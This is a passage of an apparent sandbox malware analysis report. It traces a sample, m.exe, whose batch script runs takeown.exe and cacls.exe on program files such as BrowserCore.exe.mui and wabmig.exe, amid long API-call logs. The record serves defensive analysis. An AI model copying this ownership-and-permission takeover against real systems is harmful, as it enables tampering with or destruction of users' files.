Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0xaec, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 20	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "manifest.json"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "manifest.json"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 58	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn

Process #142: cmd.exe

262

0

»

Information	Value
ID	#142
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Security\BrowserCore\en-US\BrowserCore.exe.mui""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:24, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:01

OS Process Information

»

Information	Value
PID	0x13fc
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 13F4 0x CE0

Threads

Thread 0x13f4

262

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 197, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 93	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0xe04, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 78	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x10a8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 26	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "BrowserCore.exe.mui"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "BrowserCore.exe.mui"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn

Process #143: wmiadap.exe

0

»

Information	Value
ID	#143
File Name	c:\windows\system32\wbem\wmiadap.exe
Command Line	wmiadap.exe /F /T /R
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:03:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x136c
Parent PID	0x3c0 (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 133C 0x D30 0x 13B8 0x 10D8 0x 10F0 0x 1130

Process #145: cmd.exe

262

0

»

Information	Value
ID	#145
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\wabmig.exe""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:29, Reason: Child Process
